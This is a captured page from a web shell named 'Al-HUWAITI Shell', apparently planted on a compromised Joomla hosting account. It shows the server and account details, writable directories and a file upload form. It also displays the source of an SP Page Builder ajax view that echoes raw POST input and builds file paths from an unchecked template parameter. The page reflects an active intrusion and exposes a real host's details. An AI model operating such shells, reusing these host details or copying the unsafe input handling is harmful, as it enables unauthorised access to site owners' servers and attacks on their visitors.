Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/eventfrsgx/www/administrator/components/com_sppagebuilder/views/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/eventfrsgx/www/administrator/components/com_sppagebuilder/views/ajax/view.raw.php
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2016 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted aceess');

require_once ( JPATH_COMPONENT .'/builder/builder_layout.php' );

jimport( 'joomla.filesystem.file' );
$input  			= JFactory::getApplication()->input;

if ($input->get('import') === 'local') {
	$file 				= $input->files->get('importLayout');

	if($file) {
		$content = JFile::read($file['tmp_name']);

		$import_html 	= '';
		$import_html 	.= '<div class="clearfix">';
		$import_html 	.= '<div class="page-builder-area">';
		$import_html 	.=  dataLayoutBuilder(json_decode( $content ));
		$import_html 	.= '</div>';
		$import_html 	.= '</div>';

		echo $import_html;
	}
	else
	{
		echo '<h1>There is no such template</h1>';
	}
	die();
}
elseif ($input->get('import') === 'copy')
{
	$copy_text = $_POST['copyText'];
	$decode_text = $copy_text;

	echo base64_encode($decode_text);
	die();
}
elseif ($input->get('import') === 'paste')
{
	$copy_text 		= $_POST['pasteText'];
	$decode_text 	= $copy_text;

	echo base64_decode($decode_text);
	die();
}
else
{
	$template_name = $_POST['template'];
	$path = JPATH_COMPONENT.'/builder/templates/'.$template_name.'.json';
	if (JFile::exists($path))
	{
		$content = JFile::read($path);

		$import_html 	= '';
		$import_html 	.= '<div class="clearfix">';
		$import_html 	.= '<div class="page-builder-area">';
		$import_html 	.=  dataLayoutBuilder(json_decode( $content ));
		$import_html 	.= '</div>';
		$import_html 	.= '</div>';

		echo $import_html;
	}
	else
	{
		echo '<h1>There is no such template</h1>';
	}
	die();
}

Al-HUWAITI Shell